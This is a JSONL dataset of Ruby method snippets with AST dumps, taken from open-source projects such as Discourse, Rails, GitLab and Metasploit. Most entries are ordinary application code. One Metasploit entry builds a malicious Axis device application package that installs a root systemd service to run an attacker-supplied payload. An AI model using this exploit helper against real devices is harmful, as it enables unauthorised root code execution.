{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/scheduled/call_discourse_hub.rb","start_line":7,"raw_source":"def execute(args)\n      if SiteSetting.version_checks? &&\n           (DiscourseUpdates.updated_at.nil? || DiscourseUpdates.updated_at < (1.minute.ago))\n        begin\n          prev_missing_versions_count = DiscourseUpdates.missing_versions_count || 0\n\n          json = DiscourseHub.discourse_version_check\n          DiscourseUpdates.last_installed_version = Discourse::VERSION::STRING\n          DiscourseUpdates.latest_version = json[\"latestVersion\"]\n          DiscourseUpdates.critical_updates_available = json[\"criticalUpdates\"]\n          DiscourseUpdates.missing_versions_count = json[\"missingVersionsCount\"]\n          DiscourseUpdates.updated_at = Time.zone.now\n          DiscourseUpdates.missing_versions = json[\"versions\"]\n\n          if SiteSetting.new_version_emails && json[\"missingVersionsCount\"] > (0) &&\n               prev_missing_versions_count < (json[\"missingVersionsCount\"].to_i)\n            message = VersionMailer.send_notice\n            Email::Sender.new(message, :new_version).send\n          end\n        rescue => e\n          raise e unless Rails.env.development? # Fail version check silently in development mode\n        end\n      end\n\n      DiscourseHub.discover_enrollment if SiteSetting.include_in_discourse_discover?\n      true\n    end","complexity_score":68.65,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"version_checks?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"updated_at\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"updated_at\"]},\"<\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"minute\"]},\"ago\"]}]}]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prev_missing_versions_count\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"missing_versions_count\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseHub\"]},\"discourse_version_check\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"last_installed_version=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"VERSION\"]},\"STRING\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"latest_version=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"latestVersion\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"critical_updates_available=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"criticalUpdates\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"missing_versions_count=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"missingVersionsCount\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"updated_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"missing_versions=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"versions\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"new_version_emails\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"missingVersionsCount\"]}]},\">\",{\"type\":\"begin\",\"children\":[{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prev_missing_versions_count\"]},\"<\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"missingVersionsCount\"]}]},\"to_i\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VersionMailer\"]},\"send_notice\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"Sender\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"sym\",\"children\":[\"new_version\"]}]},\"send\"]}]},null]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"development?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"include_in_discourse_discover?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseHub\"]},\"discover_enrollment\"]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"4f30e654-2b9a-48be-a1d7-a178226a5f59"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/axis_app_install.rb","start_line":133,"raw_source":"def create_eap(payload, appname)\n    print_status(\"Creating an application package named: #{appname}\")\n    script_name = \"#{Rex::Text.rand_text_alpha_lower(3..8)}.sh\"\n\n    package_conf = \"PACKAGENAME='#{Rex::Text.rand_text_alpha(4..14)}'\\n\" \\\n      \"APPTYPE='lua'\\n\" \\\n      \"APPNAME='#{appname}'\\n\" \\\n      \"APPID='48#{Rex::Text.rand_text_numeric(3)}'\\n\" \\\n      \"APPMAJORVERSION='#{Rex::Text.rand_text_numeric(1)}'\\n\" \\\n      \"APPMINORVERSION='#{Rex::Text.rand_text_numeric(1..2)}'\\n\" \\\n      \"APPMICROVERSION='#{Rex::Text.rand_text_numeric(1..3)}'\\n\" \\\n      \"APPGRP='root'\\n\" \\\n      \"APPUSR='root'\\n\" \\\n      \"POSTINSTALLSCRIPT='#{script_name}'\\n\" \\\n      \"STARTMODE='respawn'\\n\"\n\n    # this sync, sleep, cp, sleep pattern is not optimal, but the underlying\n    # filesystem was taking time to catch up to the exploit (and mounting and\n    # unmounting itself which is just weird) and this seemed like a reasonable,\n    # if not hacky, way to give it a chance to catch up. Seems to work well.\n    start_service =\n      \"#!/bin/sh\\n\"\\\n      \"\\nsync\\n\"\\\n      \"\\nsleep 2\\n\"\\\n      \"\\ncp ./#{appname}.service /etc/systemd/system/\\n\" \\\n      \"\\nsleep 2\\n\"\\\n      \"\\nsystemctl start #{appname}\\n\"\n\n    # only register the service file for deletion. Everything else will be\n    # deleted by the uninstall function called later.\n    register_file_for_cleanup(\"/etc/systemd/system/#{appname}.service\")\n\n    service =\n      \"[Unit]\\n\"\\\n      \"Description=\\n\"\\\n      \"[Service]\\n\"\\\n      \"Type=simple\\n\"\\\n      \"User=root\\n\"\\\n      \"ExecStart=/usr/local/packages/#{appname}/#{appname}\\n\"\\\n      \"\\n\"\\\n      \"[Install]\\n\"\\\n      \"WantedBy=multi-user.target\\n\"\n\n    tarfile = StringIO.new\n    Rex::Tar::Writer.new tarfile do |tar|\n      tar.add_file('package.conf', 0o644) do |io|\n        io.write package_conf\n      end\n      tar.add_file(script_name.to_s, 0o755) do |io|\n        io.write start_service\n      end\n      tar.add_file(appname.to_s, 0o755) do |io|\n        io.write payload\n      end\n      tar.add_file(\"#{appname}.service\", 0o644) do |io|\n        io.write service\n      end\n    end\n    tarfile.rewind\n    tarfile.close\n\n    Rex::Text.gzip(tarfile.string)\n  end","complexity_score":39.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_eap\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]},{\"type\":\"arg\",\"children\":[\"appname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating an application package named: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"appname\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"script_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"str\",\"children\":[\".sh\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"package_conf\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PACKAGENAME='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[14]}]}]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]}]},{\"type\":\"str\",\"children\":[\"APPTYPE='lua'\\n\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"APPNAME='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"appname\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"APPID='48\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"APPMAJORVERSION='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"APPMINORVERSION='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"APPMICROVERSION='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]}]},{\"type\":\"str\",\"children\":[\"APPGRP='root'\\n\"]},{\"type\":\"str\",\"children\":[\"APPUSR='root'\\n\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"POSTINSTALLSCRIPT='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script_name\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]}]},{\"type\":\"str\",\"children\":[\"STARTMODE='respawn'\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"start_service\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#!/bin/sh\\n\"]},{\"type\":\"str\",\"children\":[\"\\nsync\\n\"]},{\"type\":\"str\",\"children\":[\"\\nsleep 2\\n\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\ncp ./\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"appname\"]}]},{\"type\":\"str\",\"children\":[\".service /etc/systemd/system/\\n\"]}]},{\"type\":\"str\",\"children\":[\"\\nsleep 2\\n\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nsystemctl start \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"appname\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/etc/systemd/system/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"appname\"]}]},{\"type\":\"str\",\"children\":[\".service\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"service\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[Unit]\\n\"]},{\"type\":\"str\",\"children\":[\"Description=\\n\"]},{\"type\":\"str\",\"children\":[\"[Service]\\n\"]},{\"type\":\"str\",\"children\":[\"Type=simple\\n\"]},{\"type\":\"str\",\"children\":[\"User=root\\n\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ExecStart=/usr/local/packages/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"appname\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"appname\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"[Install]\\n\"]},{\"type\":\"str\",\"children\":[\"WantedBy=multi-user.target\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tarfile\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Tar\"]},\"Writer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"tarfile\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tar\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tar\"]},\"add_file\",{\"type\":\"str\",\"children\":[\"package.conf\"]},{\"type\":\"int\",\"children\":[420]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"package_conf\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tar\"]},\"add_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script_name\"]},\"to_s\"]},{\"type\":\"int\",\"children\":[493]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"start_service\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tar\"]},\"add_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"appname\"]},\"to_s\"]},{\"type\":\"int\",\"children\":[493]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tar\"]},\"add_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"appname\"]}]},{\"type\":\"str\",\"children\":[\".service\"]}]},{\"type\":\"int\",\"children\":[420]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"service\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tarfile\"]},\"rewind\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tarfile\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"gzip\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tarfile\"]},\"string\"]}]}]}]}","id":"a2c86f48-e7b4-4330-b0c5-c8152fc1adc8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb","start_line":1543,"raw_source":"def quoted_columns_for_index(column_names, options) # :nodoc:\n        quoted_columns = column_names.each_with_object({}) do |name, result|\n          result[name.to_sym] = quote_column_name(name).dup\n        end\n        add_options_for_index_columns(quoted_columns, **options).values.join(\", \")\n      end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"quoted_columns_for_index\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_names\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quoted_columns\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_names\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_column_name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"dup\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_options_for_index_columns\",{\"type\":\"lvar\",\"children\":[\"quoted_columns\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},\"values\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}","id":"29f86f27-7703-4a87-8d25-8149cf4e6ec0"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/generators/open_project/plugin/plugin_generator.rb","start_line":55,"raw_source":"def plugin_path\n    \"#{root_folder}/openproject-#{plugin_name}\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"plugin_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root_folder\"]}]},{\"type\":\"str\",\"children\":[\"/openproject-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugin_name\"]}]}]}]}","id":"69795a71-f54e-4d09-81f9-efb17fb88ad4"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20190611195955_create_poll_skips.rb","start_line":2,"raw_source":"def change\n    create_table :poll_skips do |t|\n      t.bigint  :user_id\n      t.bigint  :poll_id\n      t.timestamps\n    end\n    add_index :poll_skips, %i[poll_id user_id],\n    unique: true,\n    name: \"index_poll_skips_on_poll_and_user\"\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"poll_skips\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"poll_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"poll_skips\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"poll_id\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_poll_skips_on_poll_and_user\"]}]}]}]}]}]}","id":"dd056f52-e03a-43ed-8b79-254e38c5b2ba"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/internal/remove_stale_contact_inboxes_service.rb","start_line":24,"raw_source":"def remove_stale_contact_inbox_job_enabled?\n    job_status = ENV.fetch('REMOVE_STALE_CONTACT_INBOX_JOB_STATUS', false)\n    return false unless ActiveModel::Type::Boolean.new.cast(job_status)\n\n    true\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_stale_contact_inbox_job_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"job_status\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"REMOVE_STALE_CONTACT_INBOX_JOB_STATUS\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Type\"]},\"Boolean\"]},\"new\"]},\"cast\",{\"type\":\"lvar\",\"children\":[\"job_status\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"91af592a-eee1-475e-bad8-bc57507624d9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/rr/mx.rb","start_line":48,"raw_source":"def subclass_new_from_hash(args)\n          if args.has_key? :preference and args.has_key? :exchange\n            @preference = args[0][:preference].to_i\n            @exchange =  args[0][:exchange]\n          else\n            raise RRArgumentError, \":preference and :exchange fields are mandatory but missing\"\n          end\n        end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"subclass_new_from_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"preference\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"exchange\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@preference\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"preference\"]}]},\"to_i\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@exchange\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"exchange\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RRArgumentError\"]},{\"type\":\"str\",\"children\":[\":preference and :exchange fields are mandatory but missing\"]}]}]}]}","id":"3ccf6470-33c4-472d-8684-87c84262388c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/web.rb","start_line":83,"raw_source":"def enable(*opts)\n        opts.each { |key| set(key, true) }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"enable\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"opts\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[null,\"set\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"0f440bea-fd56-4f67-90af-968d45a63e26"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/git_repository.rb","start_line":192,"raw_source":"def worktree\n    @worktree ||= begin\n      clone_repo_if_missing\n      fetch_worktree\n    end\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"worktree\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@worktree\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"clone_repo_if_missing\"]},{\"type\":\"send\",\"children\":[null,\"fetch_worktree\"]}]}]}]}","id":"2f537bf5-dac5-432a-96ac-6397a5505eda"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/cancel_manager.rb","start_line":10,"raw_source":"def initialize\n        @cancelled = false\n        @callbacks = Concurrent::Array.new\n        @mutex = Mutex.new\n        @monitor_thread = nil\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cancelled\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@callbacks\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"Array\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@mutex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mutex\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@monitor_thread\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"d3771a4e-00a2-420c-bfe3-7180fff67443"}
